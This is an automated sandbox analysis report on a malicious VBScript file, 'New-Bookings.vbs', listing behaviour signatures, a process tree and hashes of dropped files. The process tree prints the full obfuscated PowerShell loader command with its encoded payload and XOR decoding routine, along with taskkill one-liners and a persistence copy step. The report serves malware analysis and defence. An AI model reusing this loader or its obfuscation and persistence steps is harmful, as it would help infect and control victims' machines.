Analysis

  • max time kernel
    150s
  • max time network
    142s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    26/08/2026, 13:28

General

  • Target
    New-Bookings.vbs
  • Size 23KB
  • Sample260826-qqspkael21
  • SHA256 d39dcd2cc34917601c0294a692a98dc369038f9a44cee0f3f9d872c31cc8a05f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 9 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Kills process with taskkill 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\New-Bookings.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:5228
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $j=61-94;$aoqkb0='GTkF2EwW';$h2Opbe7i6='8b8baf8fec86b293cda1a9c4bc9cf486c995fcdeaadbe6a6be87b298fd82f3a98886b5c2dd81be928997af8bc5d5e7a8b9b8f9c2df8aa9ae998ca882ffc7869f948aa4b7c5b2f5a6be87b298fd82f3be8290b789ea9b80c7d7b8b383f5adbc8e88c8f5bfec9db4938ad6e59fb193f886c9a1ec8ee080afd98683e8c5e5e2d7f0e7adb58dea9bf0ae819ba49cb8c28e988e91af88ebcfeef0e7a58f89ecc18e989f88a88ffdbfb294838a8c8df68eba989fa3fbd6cb8abe889f97b595c89db289829dae80b8d2fda6a39bb5c2cb8abe889f97b595c89db289829dae80cc96ad98b0c4fbb8f49ceccfe0f4e58dabdfe0d5b296e1cbf0a3b48886b78aa2ffdbb8ccddcab88df0a4b8cf81b5eab6f79b9ab9dd91b8baed9fb09499b796d8ea9b9ecb99c782baecb6efcf87a78a82ec80acb89dcab8bbff80aca985ca8e83ec80b0be9dcab8a7e98eb88886c9acd8ea9fac8d9d8f8abced8dbbabddb78dbfa88eb4c898b28aa1f08b9294dd9caca2f5a59ec8809f8a8df0a4b890ddb786dfeab6b88598b5f78ded9dbbaf84a78a83f1dbb8cd9dc7aca5ed9e8a90809191bfec9f8ec887a4abbae9d9b88cdca79282ec8096c99ec88aa3e9d8b4a8829191b8ea80a4be99c8b0b8f08d929487c982dde89facb9dd8ca0b9edb6efa4dc9fb8a0f0a6a4b89d9ca3b9ed9db888dda79282f2a58acbddb5a08dffd696cf81b2aca2f5a18a8f82cab7b4e98eb8b0879fb482f0dbb88d99b086baf0a3b8a486c8b4d8f4a1b08d9cb5b0a1f0a4b4cf80a78aa6f79e96b99cb58a80ff9b91af84b786dfa9a58a85ddc9a0b6ffdbefcf81a79280eb9fbcbe99c8a0bdff80b3ab9fa78dbfe880a88f9dca8ebdead68dafdfaffcd1bfc6d0f7ac9aa5c1cc96ad98cdd39595e88a99988b97af85ec86b293cdd69ab8fd97a9d3a890a283fc86b39ab0c4fbb9cca9e5d3aa9bb5bfec9db4938ad69aaff781ab989f8a9cd6a2a9af9280bca09ffdd9e9ae998ca882ffc7f99cdecee8c5b1e2d79b9890a298f180b3dd89d6e58dabdef486c99ff2dea5a1b88ac0b1a386fd8ca9dda39bb5c2cf8abfbe8197a482ecd4f5ba888aecbef981b99280dee58dabdefdd0ae91b482eccff99cdecfefaff79ab389c482e497ec9da4869f9bb599ea81fdd98ccdf3c2dc80aa938191a088dc8ea99cc5da9ec5e58cbc898e96ba91e592d0f78b8baf8fec86b293cd97e9c8f9dcf1d98ccaedc8f9daf1d98cc8fcacb0c6f486c99ff6d1c3bfb59c838aae81df8ea998b0c4fba0f78eb9bc9e8da481fa83a4d5c99ff2c5a3cbbcc5d0daa0dbb6a8b889b987b189ebc7f481d285e5b3b6a9a89181b0a081fdcff098';$cYQ0X8='YyEaclNtGSZzOAM3BigMRXd1c3YTeE1mOiVfJks4eVB3Z1J2BGRLbXwvfHoJdEtsdUdScgBjfypNaR40FFp1QXhIU1cdWxRSeHN9RQB/W0h1OUdpC1llV3tYbl4WSRRWfkh5XAAkdz81KBc6XDRAMi9oWDtGNEM7PEhNQBNxVmtxKEVIJnNWa2RgSnwVTRg4UXNbchN1a2xhdV99BHUKJnM5F25cNEM7PEhQZQh7Ryo2Yw4/Q3EUK28MNB5tNEAzL0EWO09PSiI1aHRAMjcLIjkhFkwPMAVpXHNuaVN1aG5baGh0FCZmaCYybmFSW3RrJlZwez1ccmtLM3x7U0hyaX1Wc3s+V3ZqSFFuey47emh9eG50PkRyc0szfHtTSHIyKjd1eC5zHyU7KBI7T09KIjVodEAye2xwQnsHRzFqVk5BMF0kNSAbWl0xWnE2ahZRQm0KJSp6FkVXagY8M2pNc0NpSS5aNwsrPikWTA8wBWtYUmt4KWJyeCtJbyJfJ3AzK1VxIxNIcHhmSWwjFDtoaEtnbiNfJmlpW2IDNE45Cw8YaFg7TzRAMC9lHjcFIQsvc29aO0NxFj9JVVtrEz5nbHFuWnoJd384KFRqVV8+ZWdmUkphDn5FKjZjDDpOPU9jZmJWOzh4AiUhT0dpE1tnPzUoHjhHOH1qMiZNYTN1EXF4TkdnSFoRTGttTHRaLQUrMioeOzh4AiViTwl2QDkLeR8LHjNDchEiLyEWTA8wBW5YaGtpCFtSa1lsdWMIXHIyXFVuISlEbTNcTW1pE35tM2ZJbWlfP0NqJ055elN1ZWtbYGp7F19nJTshBTNDchEiLyEacVQ+cXdwckphDn5FKiItHjcFIwxOd29ZZw8wDyIjMxcebTRDMSMhAzNPT0oiNTFZLlo3CyIpDDQ3BSQfKk1pHjQNSk9TeW4VWwx/ZUxocFdDQDkCKTIpYXtHN0hbRUdVZFotBSspDDQzRzACazIpZVAIflRnYHVjKV1WUG1/Q19gAiYWUWZzV30AOAZPc3VdewJjeTNPKBczQ3IWIjpeVjNAe1JVXWoLXlo3CyJSKRpxVDwCJnMyDz9HOH1qMiZWWAZSSW1FR1RCWi0FKz4hFkwPMAVxfVZ2fD1fbCU7LR47OHgCJSJAAy5AOQIuMilhe0c3T0x4Vhk6Th0oIjIhHlQCZA9SYG5ddhRjXnF9c0ozJEB3Ij9lW2AEbFFnfmRdZ0c9RGtgckozUmxEdjJPX34CPGFSRyFDHm0dKCIyIR4zRzACIjI=';$nqmZuY=0xE74A-0x45D4;$qsiZtb080=@();foreach($c in [char[]]$aoqkb0){$qsiZtb080+=[byte]($c-bxor0xAA)};$bVsIflxp=$qsiZtb080;$qsiZtb080=@();foreach($c in [char[]]$aoqkb0){$qsiZtb080+=[byte]($c-bxor0x55)};$vHnrJmih9=$qsiZtb080;$qsiZtb080oldR='';$i=0;for($j=0;$j-lt$h2Opbe7i6.Length;$j+=2){$qsiZtb080oldR+=[char](([Convert]::ToInt32($h2Opbe7i6.Substring($j,2),16))-bxor$bVsIflxp[$i++%$bVsIflxp.Length])};$mDNbzPG=$qsiZtb080oldR;$qsiZtb080oldB=[Convert]::FromBase64String([regex]::Replace($cYQ0X8, '$qsiZtb080', ''));$qsiZtb080oldR='';$i=0;for($j=0;$j-lt$qsiZtb080oldB.Length;$j++){$qsiZtb080oldR+=[char]($qsiZtb080oldB[$j]-bxor$vHnrJmih9[$i++%$vHnrJmih9.Length])};$dHX1Ur=$qsiZtb080oldR;$wceF0N9BW=$mDNbzPG+$dHX1Ur;.($env:ComSpec[4,26,25]-join'') $wceF0N9BW
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:6444
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5fkvonq2\5fkvonq2.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2804
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES501A.tmp" "c:\Users\Admin\AppData\Local\Temp\5fkvonq2\CSCB2F5FF172BEE4A79A73A5DB807FB1AB.TMP"
          4⤵
            PID:4600
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3004
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
            4⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:1684
            • C:\Windows\system32\taskkill.exe
              taskkill /IM RegAsm.exe /F
              5⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1972
            • C:\Windows\system32\taskkill.exe
              taskkill /IM Vbc.exe /F
              5⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:6612
            • C:\Windows\system32\taskkill.exe
              taskkill /IM MsBuild.exe /F
              5⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:980
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden if ((Get-Location).Path -ne 'C:\ProgramData') { (Get-ChildItem *.vbs | Sort-Object CreationTime -Descending | Select-Object -First 1) | Copy-Item -Destination 'C:\ProgramData\dFareem.vbs' -Force }
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:244
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:264
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
            4⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4216
            • C:\Windows\system32\taskkill.exe
              taskkill /IM RegAsm.exe /F
              5⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:3660
            • C:\Windows\system32\taskkill.exe
              taskkill /IM Vbc.exe /F
              5⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:5780
            • C:\Windows\system32\taskkill.exe
              taskkill /IM MsBuild.exe /F
              5⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:3280
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:2456

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          ModuleAnalysisCache

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
          • Size 67KB
          • SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
          • MD5 SHA1 SHA512 SSDEEP TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 64B
          • SHA256 f85d4dbe54d3f5e932cb4f2cc5c8a25b2c574c56d9d5436fcd3a3cceb6565f7c
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 64B
          • SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 68070d2d9fb50668a893e4bb652d8272488952528ec481369c779fab1d325d3d
          • MD5 SHA1 SHA512 TLSH

          5fkvonq2.dll

          • Path C:\Users\Admin\AppData\Local\Temp\5fkvonq2\5fkvonq2.dll
          • Size 3KB
          • SHA256 80389836fce0af9e4cf9545be871af691a7c017c374f6dc388b7dcd2c0fd286e
          • MD5 SHA1 SHA512 TLSH

          RES501A.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RES501A.tmp
          • Size 1KB
          • SHA256 4cde0175d444526629630e43042089d7deb4172d4cb058a7a28c8b772824bd0a
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_1kclxoot.34b.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1kclxoot.34b.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          5fkvonq2.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\5fkvonq2\5fkvonq2.0.cs
          • Size 213B
          • SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
          • MD5 SHA1 SHA512 TLSH

          5fkvonq2.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\5fkvonq2\5fkvonq2.cmdline
          • Size 369B
          • SHA256 ef8ad21f96987236e7b4d9a7b21f6555aa629209ed4265b33c2ee339775e384c
          • MD5 SHA1 SHA512 TLSH

          CSCB2F5FF172BEE4A79A73A5DB807FB1AB.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\5fkvonq2\CSCB2F5FF172BEE4A79A73A5DB807FB1AB.TMP
          • Size 652B
          • SHA256 fdee33df2455c428950edb95a806bdc4be7645c31e6ed4b9b6a0843e37cad60a
          • MD5 SHA1 SHA512 TLSH

          memory/2456-45-0x0000000000040000-0x000000000008C000-memory.dmp

          memory/2804-26-0x000001D0F0850000-0x000001D0F11F4000-memory.dmp

          memory/6444-9-0x00007FF934740000-0x00007FF9350E4000-memory.dmp

          memory/6444-31-0x00007FF934740000-0x00007FF9350E4000-memory.dmp

          memory/6444-13-0x00007FF934740000-0x00007FF9350E4000-memory.dmp

          memory/6444-12-0x00007FF934740000-0x00007FF9350E4000-memory.dmp

          memory/6444-11-0x00007FF934740000-0x00007FF9350E4000-memory.dmp

          memory/6444-28-0x000002D4C63F0000-0x000002D4C63F8000-memory.dmp

          memory/6444-10-0x00007FF934740000-0x00007FF9350E4000-memory.dmp

          memory/6444-0-0x00007FF9348CF000-0x00007FF9348D0000-memory.dmp

          memory/6444-29-0x00007FF934740000-0x00007FF9350E4000-memory.dmp

          memory/6444-14-0x00007FF934740000-0x00007FF9350E4000-memory.dmp

          memory/6444-32-0x000002D4ADC20000-0x000002D4ADC36000-memory.dmp

          memory/6444-8-0x00007FF934740000-0x00007FF9350E4000-memory.dmp

          memory/6444-7-0x00007FF934740000-0x00007FF9350E4000-memory.dmp

          memory/6444-6-0x00007FF934740000-0x00007FF9350E4000-memory.dmp

          memory/6444-5-0x00007FF934740000-0x00007FF9350E4000-memory.dmp

          memory/6444-4-0x000002D4C6380000-0x000002D4C63A2000-memory.dmp

          memory/6444-3-0x00007FF934740000-0x00007FF9350E4000-memory.dmp

          memory/6444-49-0x00007FF934740000-0x00007FF9350E4000-memory.dmp